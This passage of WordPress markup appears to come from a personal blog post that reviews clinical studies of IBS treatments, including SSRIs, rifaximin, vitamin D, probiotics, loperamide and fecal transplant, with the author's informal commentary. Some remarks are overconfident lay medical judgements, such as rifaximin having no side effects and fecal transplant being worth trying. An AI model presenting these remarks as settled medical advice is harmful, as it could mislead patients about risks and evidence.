paroxetine vs. routine care. Psychotherapy actually came out on top.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Seventy-two patients with IBS participated in a 12-week, double-blind, randomized, <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/placebo-controlled-study\">placebo-controlled study</a> of paroxetine-CR (12.5 mg–50 mg/day).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/intention-to-treat-analysis\">intent-to-treat</a> analyses, there were no significant differences between paroxetine-CR (N = 36) and placebo (N = 36) on reduction in Composite Pain Scores, although the proportion of responders on CGI–I was significantly higher in the paroxetine-CR group.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Patients with severe IBS were randomly allocated to receive 8 sessions of individual psychotherapy, 20 mg daily of the specific serotonin reuptake inhibitor (SSRI) antidepressant, paroxetine, or routine care by a gastroenterologist and general practitioner.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Both psychotherapy and paroxetine were superior to treatment as usual in improving the physical aspects of health-related quality of life (SF-36 physical component score improvement, 5.2 [SEM, 1.26], 5.8 [SEM, 1.0], and −0.3 [SEM, 1.17]; <em>P</em> &lt; 0.001), but there was no difference in the psychological component. During the follow-up year, psychotherapy but not paroxetine was associated with a significant reduction in health care costs compared with treatment as usual (psychotherapy, $976 [SD, $984]; paroxetine, $1252 [SD, $1616]; and treatment as usual, $1663 [SD, $3177]).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S1542356503700391\">The selective serotonin reuptake inhibitor fluoxetine does not change rectal sensitivity and symptoms in patients with irritable bowel syndrome: A double blind, randomized, placebo-controlled study - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study weirdly looked at rectal sensitivity as a measure, as well as pain. It showed fluoxetine helped with pain, but not with any IBS specific measures.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Forty non-depressed IBS patients underwent a rectal <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/barostat\">barostat</a> study to assess the sensitivity to rectal distention before and after 6 weeks of treatment with fluoxetine 20 mg or placebo. Abdominal pain scores, individual <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/gastrointestinal-distress\">gastrointestinal symptoms</a>, global symptom relief, and psychologic symptoms were assessed before and after the intervention</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fluoxetine did not significantly alter the threshold for discomfort/pain relative to placebo, either in hypersensitive (19 ± 3 vs. 22 ± 2 mm Hg above MDP) or in normosensitive (34 ± 2 vs. 39 ± 4 mm Hg above MDP) IBS patients. Overall, 53% of fluoxetine-treated patients and 76% of placebo-treated patients reported significant abdominal pain scores after 6 weeks (not significant). In contrast, in hypersensitive patients only, fluoxetine significantly reduced the number of patients reporting significant abdominal pain. Gastrointestinal symptoms, global symptom relief, and psychologic symptoms were not altered.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://gut.bmj.com/content/55/8/1095.short\">A controlled crossover study of the selective serotonin reuptake inhibitor citalopram in irritable bowel syndrome | Gut (bmj.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study found an effect of citalopram on pain and bloating, but not really on IBS specific measures.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Twenty three non-depressed IBS patients were recruited from a tertiary care centre and included in a crossover trial comparing six weeks of treatment with the SSRI citalopram (20 mg for three weeks, 40 mg for three weeks) with placebo. IBS symptom severity was the primary outcome measure, and depression and anxiety scores were also measured.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>After three and six weeks of treatment, citalopram significantly improved abdominal pain, bloating, impact of symptoms on daily life, and overall well being compared with placebo. There was only a modest effect on stool pattern.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S154235650900891X\">Citalopram Provides Little or No Benefit in Nondepressed Patients With Irritable Bowel Syndrome - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study found no effect of citalopram.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Patients from primary, secondary, and tertiary care settings were randomly assigned to receive citalopram (20 mg/day for 4 weeks, then 40 mg/day for 4 weeks) or placebo in a study with double-masking and concealed allocation. Symptoms were assessed weekly, and IBS-QOL and rectal sensation by barostat were assessed at the beginning and end of the study.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://onlinelibrary.wiley.com/doi/full/10.1111/j.1365-2036.2005.02566.x\">The effect of fluoxetine in patients with pain and constipation‐predominant irritable bowel syndrome: a double‐blind randomized‐controlled study - VAHEDI - 2005 - Alimentary Pharmacology &amp;amp; Therapeutics - Wiley Online Library</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study found a big effect of fluoxetine on constipation, and seemed well-performed. They didn’t check if their patients were anxious or depressed, though.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fluoxetine was significantly more effective than placebo in decreasing abdominal discomfort, relieving feeling and sense of bloating, increasing frequency of bowel movements and decreasing consistency of stool. Mean number of symptoms per patient decreased from 4.6 to 0.7 in the fluoxetine group vs. 4.5 to 2.9 in controls (<em>P</em> &lt; 0.001).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://scholar.google.com/scholar_lookup?journal=Digestive+diseases+and+sciences&amp;title=Antidepressant+therapy+(imipramine+and+citalopram)+for+irritable+bowel+syndrome:+a+double-blind,+randomized,+placebo-controlled+trial&amp;author=NJ+Talley&amp;author=JE+Kellow&amp;author=P+Boyce&amp;author=C+Tennant&amp;author=S+Huskic&amp;volume=53&amp;issue=1&amp;publication_year=2008&amp;pages=108-15&amp;pmid=17503182&amp;doi=10.1007/s10620-007-9830-4&amp;\">Talley: Antidepressant therapy (imipramine and citalopram... - Google Scholar</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study didn’t find any effect for citalopram, but it did find it for imipramine.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Of&nbsp; 51&nbsp; IBS&nbsp; patients&nbsp; randomized,&nbsp; baseline&nbsp; characteristics were comparable among the treatment arms; themajority was diarrhea-predominant. Adequate relief of IBS symptoms&nbsp; (primary&nbsp; endpoint)&nbsp; was&nbsp; similar&nbsp; for&nbsp; each&nbsp; treat-ment arm. Improvements in bowel symptom severity rating for&nbsp; interference&nbsp; (P= 0.05)&nbsp; and&nbsp; distress&nbsp; (P= 0.02)&nbsp; were greater with imipramine versus placebo, but improvements in abdominal &nbsp; pain&nbsp; were not. There &nbsp; was &nbsp; a &nbsp; greater improvement in depression score (P = 0.08) and in the SF-36 Mental Component&nbsp; Score (P= 0.07), with imipramine. Citalopram was not superior to placebo. Approximately 20% of&nbsp; the&nbsp; variance&nbsp; in&nbsp; scores&nbsp; was&nbsp; explained&nbsp; by&nbsp; treatment&nbsp; differences&nbsp; for&nbsp; abdominal&nbsp; pain,&nbsp; bowel&nbsp; symptom&nbsp; severity disability, depression and the mental component of the SF-36.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Rifaximin</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Rifaximin can definitely benefit IBS-D, and may help IBS-C. It doesn’t seem to have any side effects.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5291563/\">Rifaximin for Irritable Bowel Syndrome (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a metastudy of the 4 studies they found that tested rifaximin. Rifaximin came out pretty well.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/fVb03CIWGHTEN9MXLF2XWw1hpiKtjoT1YdZ33BJBlz2VXiQ4omkgf6fWUsgbmPkRcyWhEaBcjTBfLViuKO1C0sQjncujoZPFB03SKxVI53c785ZDZS3LhUfJeNkkXre5sqBJK4vL\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh6.googleusercontent.com/O2cQK6kc7C0Ryx4YJdnK2g8cyt1gy04hVK5HESHprJIUiYMClToNSGqZRURu3IrA185CgEsHkS16ssD3MIns7oOI6SNdkeRULPiEgV-o6R8O2ZnRD2lrzMPQ-yG9hC5JlpGELUrz\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Abdominal Pain</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No significant heterogeneity in the occurrence of abdominal pain during the treatment period was observed between the 3 RCTs in which abdominal pain was reported (<em>I</em>2 = 0%).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Nausea</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No significant heterogeneity in the occurrence of nausea during the treatment period was observed between the 3 RCTs in which nausea was reported (<em>I</em>2 = 0%).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Vomiting</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No significant heterogeneity in the occurrence of vomiting during the treatment period was observed between the 3 RCTs in which vomiting was reported (<em>I</em>2 = 0%)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Headache</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No significant heterogeneity in the occurrence of headache during the treatment period was observed between the 3 RCTs in which headache was reported (<em>I</em>2 = 0%).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Vitamin D</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Very high doses of vitamin D every 2 weeks probably improve IBS symptoms.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://onlinelibrary.wiley.com/doi/abs/10.1111/nmo.12851\"><strong>Effect of vitamin D on gastrointestinal symptoms and health‐related quality of life in irritable bowel syndrome patients: a randomized double‐blind clinical trial - Abbasnezhad - 2016 - Neurogastroenterology &amp;amp; Motility - Wiley Online Library</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>I like this one because it’s actually long term. It shows remarkably big effects, too.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A total of 90 IBS patients participated in this double‐blind, randomized, placebo‐controlled study. Participants were randomly selected to receive either 50 000 IU vitamin D3 or a placebo fortnightly for a period of 6 months. Patients reported their IBS symptoms at the baseline and monthly during intervention periods</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Over the 6‐month intervention period, a significantly greater improvement in IBS symptoms such as abdominal pain and distention, flatulence, rumbling, and overall gastrointestinal (GI) symptoms (except dissatisfaction with bowel habits) was observed in the patients receiving vitamin D as compared to the placebo group. The IBSSS and the IBS‐QoL scores in the vitamin D group significantly improved compared to the placebo group postintervention (mean IBSSS score change: −53.82 ± 23.3 <em>vs</em> −16.85 ± 25.01, <em>p</em> &lt; 0.001, respectively; mean IBS‐QoL score change: 14.26 ± 3 <em>vs</em> 11 ± 2.34, <em>p</em> &lt; 0.001, respectively).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://journals.plos.org/plosone/article?id=10.1371/journal.pone.0158545\">Co-Administration of Soy Isoflavones and Vitamin D in Management of Irritable Bowel Disease (plos.org)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This one also tests isoflavones, and seems to find a bigger effect of soy isoflavones than vitamin D, although both have an effect. It was only for 6 weeks, though. Also, the groups seem really poorly assigned: the before scores are all over the place.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In a factorial blinded randomized clinical trial, 100 women with IBS (age:18-75yr, were randomly assigned in 4 arms to receive either placebo of vitamin D and placebo of soy isoflavones (P+P), or placebo of vitamin D and soy isoflavones (P+S), or vitamin D and placebo of soy isoflavones (D+P), or vitamin D and soy isoflavones (D+S) for 6 weeks. Dosage of soy isoflavone was 2 capsules of 20 mg soy isoflavones per day, and dosage of vitamin D was one pearl of 50’000 IU biweekly. The clinical outcomes were IBS symptoms severity scores (IBS-SSS), disease- specific quality of life (IBS-QOL) and total score (IBS-TS) that evaluated at weeks 0, 6, and 10, and compared to each other.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh6.googleusercontent.com/3kC-UPQilx1ay5tWQbbPZvLJXsM5BFWne2W6gcxkE6bY9TFqss83v7RvEkLiSlGqS1PYfpa-bCsHTQm5VgOgzcfDSDErjjBYN7FuWFYm6SWeuEUjXW2xTWRcKq-tWeXVR2MUgOyi\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/3O_uEfVZsAkC3sARQuSFvgklEkbx-okq5onFxlFs2rfyACX7-J8MppqULeG8w2wWByw2bknhPu67PvGwdOz5zSv2fcl1UT3g11ySBmO_UXzUlgzEzWDKc3Tpl4TvHIaz93UJ18UW\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Soy isoflavones</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Soy isoflavones may improve IBS, but it’s hard to tell.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4560632/\">Soy Isoflavones Supplementation for Patients with Irritable Bowel Syndrome: A Randomized Double Blind Clinical Trial (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is just testing soy isoflavones. It’s really hard to tell what’s going on here, as either the soy isoflavones did show some amount of improvement that was almost significant (p value of 0.068), or they actually made things worse.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In a randomized double blind placebo-controlled clinical trial, 67 patients with IBS were allocated to consume either soy isoflavones capsules or a placebo for 6 weeks. The primary outcome was a significant reduction in symptoms severity score and the secondary outcome was a significant improvement in quality of life.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>45 participants completed the study. There was no significant changes in mean differences of symptoms severity score between the two groups; however soy isoflavone supplementation could significantly improve the quality of life scores (<em>p</em>=0.009).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh4.googleusercontent.com/Gwt0z67QCnAeyoz2MSiLwj_7d_nkS1t1oHpoxr269unsANIrqP5lImRD2n8K2y9QsVfOg2hO-jliOT4Hb8eLrj1WtZZ_h9_WoyvQEmI-3THmYjwkY-Exaqpb65XsOrDOQOFfPjpO\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Acupuncture</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Acupuncture probably doesn’t work better than fake acupuncture.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3718572/\">Acupuncture for treatment of irritable bowel syndrome (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This one seems self-explanatory. Also, I’m biased against acupuncture.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We found no evidence of an improvement with acupuncture relative to sham (placebo) acupuncture for symptom severity (SMD-0.11, 95%CI −0.35 to 0.13; 4 RCTs; 281 patients) or quality of life (SMD = −0.03, 95%CI −0.27 to 0.22; 3 RCTs; 253 patients).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Probiotics</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Probiotics may help a little bit but it’s hard to tell. This is compounded by the fact that how probiotics are stored and processed matters a lot to whether they survive all the way to colonize your digestive tract.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://scielo.isciii.es/pdf/diges/v105n1/original4.pdf#page=1\">Effect of probiotic species on irritable bowel syndrome symptoms:A bring up to date meta-analysis</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study only looked at species, and not at formulation. Also, I don’t trust that some probiotics improve pain, but not distension. That doesn’t make sense.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh3.googleusercontent.com/GqMUYE2BjG5CWvQfcimTf9mp5ZlN4BsKG_pJzwf47UuTyktOEW9466BAuIKOyWMQAgqY1lw8nzp2UrMPv7RFc6MUOMsycpjbUGL-1_mOhyd1hPv8nMJRgQoydktSOvmfYAmBRBJG\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/books/NBK77020/\">The utility of probiotics in the treatment of irritable bowel syndrome: a systematic review - Database of Abstracts of Reviews of Effects (DARE): Quality-assessed Reviews - NCBI Bookshelf (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a meta study. It discusses that the only properly performed studies that showed a good effect were on B.infantis.&nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Sixteen RCTs (n=1,342) met the inclusion criteria. Studies scored between 5 and 12 points on the Rome II methodology scale. Eleven studies were considered to be of suboptimal design (precise definition of suboptimal was not clear).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Two of the appropriately-designed RCTs evaluated Bifidobacterium infantis 35624 and reported statistically significant improvements in abdominal pain/discomfort, bloating/distension and/or bowel movement relative to placebo (p&lt;0.05). In these two trials B. infantis 35624 was given daily for four or eight weeks as 1x1010 live cells in malted milk drink or 1x106, 1x108 or 1x1010 colony forming units per millilitre in capsule form. None of the other studies described as appropriately designed showed significant improvements in IBS symptoms.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No studies reported quantifiable data on relative tolerability or adverse events.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.tandfonline.com/doi/abs/10.1080/03007995.2017.1292230\">Efficacy of Bifidobacterium infantis 35624 in patients with irritable bowel syndrome: a meta-analysis: Current Medical Research and Opinion: Vol 33, No 7 (tandfonline.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a meta study on B. infantis specifically. They found that single B. infantis didn’t help, but combination B. infantis did. That doesn’t really make sense to me. I’d bet it’s a formulation problem.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A total of five studies were identified as suitable for inclusion, including three studies with single probiotic <em>B. infantis</em> and two studies with composite probiotics containing <em>B. infantis</em>. Treatment with single probiotic <em>B. infantis</em> didn’t impact on abdominal pain, bloating/distention, or bowel habit satisfaction among IBS patients. However, patients who received composite probiotics containing <em>B. infantis</em> had significantly reduced abdominal pain (SMD, 0.22; 95% CI, 0.03–0.41) and bloating/distention (SMD, 0.30; 95% CI, 0.04–0.56). After combining the data from six studies, the improvement of bloating/distention among IBS patients remained significant (SMD, 0.21; 95% CI, 0.07–0.35).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Mesalazine</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Mesalazine is probably not effective in IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://gut.bmj.com/content/65/1/82.short\">Randomised controlled trial of mesalazine in IBS | Gut (bmj.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>So, this paper basically found that both placebo and mesalazine had the same “response rate”, which was 67%. Then they tried to rescue it by doing a bunch of complicated statistics, but it really didn’t work that well.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For the primary endpoint, the responder patients were 68.6% in the mesalazine group versus 67.4% in the placebo group (p=0.870; 95% CI −12.8 to 15.1). In explorative analyses, with the 75% rule or &gt;75% rule, the percentage of responders was greater in the mesalazine group with a difference over placebo of 11.6% (p=0.115; 95% CI −2.7% to 26.0%) and 5.9% (p=0.404; 95% CI −7.8% to 19.4%), respectively, although these differences were not significant. For the key secondary endpoint, overall symptoms improved in the mesalazine group and reached a significant difference of 15.1% versus placebo (p=0.032; 95% CI 1.5% to 28.7%) with the &gt;75% rule.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Loperamide</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://link.springer.com/content/pdf/10.1007/BF01296258.pdf#page=1\">https://link.springer.com/content/pdf/10.1007/BF01296258.pdf#page=1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study basically showed that loperamide works well.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Loperamide treatment accelerated gastric emptying, compared with placebo (1.2 +- 0.1 vs 1.5 +- 0.1 hr; P &lt; 0.001) and delayed both small bowel (6.2 + 0.3 vs 4.3 + 0.3 hr; P &lt; 0.001) and whole gut transit (56 +- 5 vs 42 +_ 4 hr; P &lt; 0.01). Eighteen patients said they felt better taking loperamide compared with placebo and, at follow up, 15 of these patients remained satisfied with the effects of the drug. Most symptoms improved significantly on placebo compared with the baseline period, but three of these [diarrhea (P &lt; 0.01), urgency (P &lt; 0.01) and borborygmi (P &lt; 0.05)] showed a further significant improvement on loperamide. Improvement in diarrhea was not associated with any change in stool weight but was associated with reductions in stool frequency (P &lt; 0.001), passage of unformed stools (P &lt; 0.01), and incidence of urgency (P &lt; 0.001).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.tandfonline.com/doi/abs/10.3109/00365529609006766\">A Double-Blind Placebo-Controlled Trial with Loperamide in Irritable Bowel Syndrome: Scandinavian Journal of Gastroenterology: Vol 31, No 5 (tandfonline.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Loperamide improved IBS symptoms, but increased pain at night.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Clinical variables and social and personal relationships were similar for the loperamide group (<em>n</em>&nbsp;= 35), the placebo group (<em>n</em>&nbsp;= 34), the dropouts (<em>n</em>&nbsp;= 21), and the controls. Somatic diseases and mental disturbances were increased in the patients compared with the controls. Throughout the 5 weeks of treatment an improved stool consistency (32%), reduced defecation frequency (36%), and reduced intensity of pain (30%) were found in the loperamide group. An increase in nightly pain was observed in the loperamide group.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.tandfonline.com/doi/abs/10.3109/00365528709091004\">Loperamide Treatment of the Irritable Bowel Syndrome: Scandinavian Journal of Gastroenterology: Vol 22, No sup130 (tandfonline.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Loperamide helped diarrhea but made constipation worse (duh).</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In a group of patients with painless diarrhoea (n = 16) there was a highly significant improvement in stool frequency and consistency. In a group with alternating bowel habits and abdominal pain (n = 21) there was also a statistically significant improvement in stool frequency and consistency as well as significantly fewer painful days during loperamide treatment. Patients with alternating bowel habits and no pain (n = 12) experienced no symptomatic improvement, and patients with constipation (n = 9) generally felt worse on loperamide. No side effects were encountered.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.tandfonline.com/doi/abs/10.3109/00365528709091003\">Loperamide in Treatment of Irritable Bowel Syndrome—A Double-Blind Placebo Controlled Study: Scandinavian Journal of Gastroenterology: Vol 22, No sup130 (tandfonline.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Loperamide helps diarrhea and diarrhea-related symptoms.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The effects of loperamide in patients with IBS (all had diarrhoea as a main symptom) were studied in a double-blind placebo controlled trial. Subjective overall response, stool consistency and six individual symptoms (urgency, pain, frequency, flatulence, borborygmi and painful propulsions) were studied over a 13 week long treatment period. Twenty-one patients out of 25 completed the trial, 11 in the loperamide group and 10 in the placebo group. A significant advantage for loperamide was found for stool consistency (p&lt;0.001), pain (p&lt;0.02) and urgency (p&lt;0.05). Subjective overall response was also significantly better in the loperamide group (p&lt;0.03).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Fecal transplant</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Results vary really widely. Worth a shot if you\'re desperate.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC7257434/\">Efficacy of Fecal Microbiota Transplantation in Irritable Bowel Syndrome: A Systematic Review and Meta-Analysis (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This meta analysis threw out half the studies for not being well-performed. The rest are presented below. Note that two of them show a big positive effect, and two of them do not. The two negative ones did capsule, the two positive ones did colonoscopy and nasojejunal tubes.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC7257434/bin/nihms-1581604-f0002.jpg\" alt=\"An external file that holds a picture, illustration, etc.\nObject name is nihms-1581604-f0002.jpg\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>How I came up with my list of diagnoses</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Diverticulitis</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.niddk.nih.gov/health-information/digestive-diseases/diverticulosis-diverticulitis/symptoms-causes\"><strong>Symptoms &amp; Causes of Diverticular Disease | NIDDK (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Most people with </strong><a href=\"https://www.niddk.nih.gov/health-information/digestive-diseases/diverticulosis-diverticulitis\"><strong>diverticulosis</strong></a><strong> do not have symptoms. If your diverticulosis causes symptoms, they may include</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><a href=\"https://www.niddk.nih.gov/Dictionary/B/bloating\"><strong>bloating</strong></a></li><li><a href=\"https://www.niddk.nih.gov/health-information/digestive-diseases/constipation\"><strong>constipation</strong></a><strong> or </strong><a href=\"https://www.niddk.nih.gov/health-information/digestive-diseases/diarrhea\"><strong>diarrhea</strong></a></li><li><strong>cramping or pain in your lower </strong><a href=\"https://www.niddk.nih.gov/Dictionary/A/abdomen\"><strong>abdomen</strong></a></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>In most cases, when you have diverticular bleeding, you will suddenly have a large amount of red or maroon-colored blood in your </strong><a href=\"https://www.niddk.nih.gov/Dictionary/S/stool\"><strong>stool</strong></a><strong>.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Studies have found links between diverticular disease—diverticulosis that causes symptoms or problems such as diverticular bleeding or diverticulitis—and the following factors:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><strong>certain medicines—including </strong><a href=\"https://medlineplus.gov/painrelievers.html\"><strong>nonsteroidal anti-inflammatory drugs</strong></a><strong> </strong><strong><em>NIH external link</em></strong><strong> (NSAIDs), such as </strong><a href=\"https://medlineplus.gov/druginfo/meds/a682878.html\"><strong>aspirin</strong></a><strong> </strong><strong><em>NIH external link</em></strong><strong>, and </strong><a href=\"https://medlineplus.gov/steroids.html\"><strong>steroids</strong></a><strong> </strong><strong><em>NIH external link</em></strong></li><li><strong>lack of exercise</strong></li><li><a href=\"https://www.niddk.nih.gov/Dictionary/O/obesity\"><strong>obesity</strong></a></li><li><strong>smoking</strong></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Testing for colon cancer:&nbsp;</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://scihubtw.tw/10.1093/annonc/mdq168\">Sci-Hub | Primary colon cancer: ESMO Clinical Practice Guidelines for diagnosis, adjuvant treatment and follow-up | 10.1093/annonc/mdq168 (scihubtw.tw)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>About 70% of patients with colon cancer are &gt;65 years of age and the disease is rare under the age of 45 (2 per 100 000/year).</p>\n<!-- 